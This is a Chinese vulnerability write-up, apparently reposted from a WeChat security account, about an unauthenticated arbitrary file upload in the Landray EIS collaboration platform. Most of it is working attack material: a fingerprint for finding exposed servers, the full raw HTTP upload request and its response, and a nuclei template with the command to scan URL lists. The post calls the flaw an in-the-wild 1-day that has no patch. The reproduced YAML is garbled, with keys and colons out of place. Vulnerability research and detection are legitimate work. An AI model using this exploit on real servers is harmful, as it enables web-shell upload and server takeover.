免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
蓝凌EIS智慧协同平台任意文件上传
02
—
漏洞影响
蓝凌EIS智慧协同平台,版本不详
03
—
漏洞描述
蓝凌eis智慧协同平台是由深圳市微达软件有限公司开发的用于企业在知识,协同,项目管理等场景的OA系统。其存在任意文件上传漏洞,未经授权的攻击者可通过此漏洞上传恶意后门文件,从而获取服务器权限。
04
—
icon_hash="953405444"
05
—
漏洞复现
向/eis/service/api.aspx接口发送文件上传数据包
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
响应内容如下
HTTP/1.1 200 OK
Connection: close
Content-Length: 63
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Thu, 19 Oct 2023 03:20:55 GMT
Server: Microsoft-IIS/8.5
Set-Cookie: ASP.NET_SessionId=itppbirculyawf55j224de55; path=/; HttpOnly
X-Aspnet-Version: 2.0.50727
X-Powered-By: ASP.NET
/files/editor_img/20231019112066058989/20231019112055073649.txt
body为回显文件路径
证明存在漏洞
06
—
nuclei poc
关注公众号,回复0016获取poc源文件。
poc文件内容如下,鉴于复制后格式容易出错,建议下载源文件
id: landray-eis-saveimg-fileupload
info:
name: 蓝凌eis智慧协同平台任意文件上传
author: fgz
severity: critical
tags: landray,fileupload
description: |
蓝凌eis智慧协同平台是由深圳市微达软件有限公司开发的用于企业在知识,协同,项目管理等场景的OA系统。其存在任意文件上传漏洞,未经授权的攻击者可通过此漏洞上传恶意后门文件,从而获取服务器权限。
metadata:
3 :
icon_hash="953405444" :
:
verified: true
variables:
file_name: "{{to_lower(rand_text_alpha(8))}}.txt"
file_content: "{{to_lower(rand_text_alpha(26))}}"
http:
raw:
|
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 :
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
gzip, deflate :
zh-CN,zh;q=0.9 :
Connection: close
multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu :
------WebKitFormBoundaryxdgaqmqu
form-data; name="file"filename="{{file_name}}" :
text/html :
{{file_content}}
------WebKitFormBoundaryxdgaqmqu--
|
GET {{file_name2}} HTTP/1.1
Host: {{Hostname}}
true :
extractors:
type: kval
name: file_name2
internal: true
kval:
body
matchers:
type: word
words:
"{{file_content}}"
part: body
将授权扫描的url放入1.txt文件,运行POC
.nuclei.exe -t .2023landray-eis-saveimg-fileupload.yaml -l .1.txt -me result
07
—
修复建议
关注官方发布的补丁信息。
原文始发于微信公众号(AI与网安):【在野1day】蓝凌EIS智慧协同平台任意文件上传(附POC)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论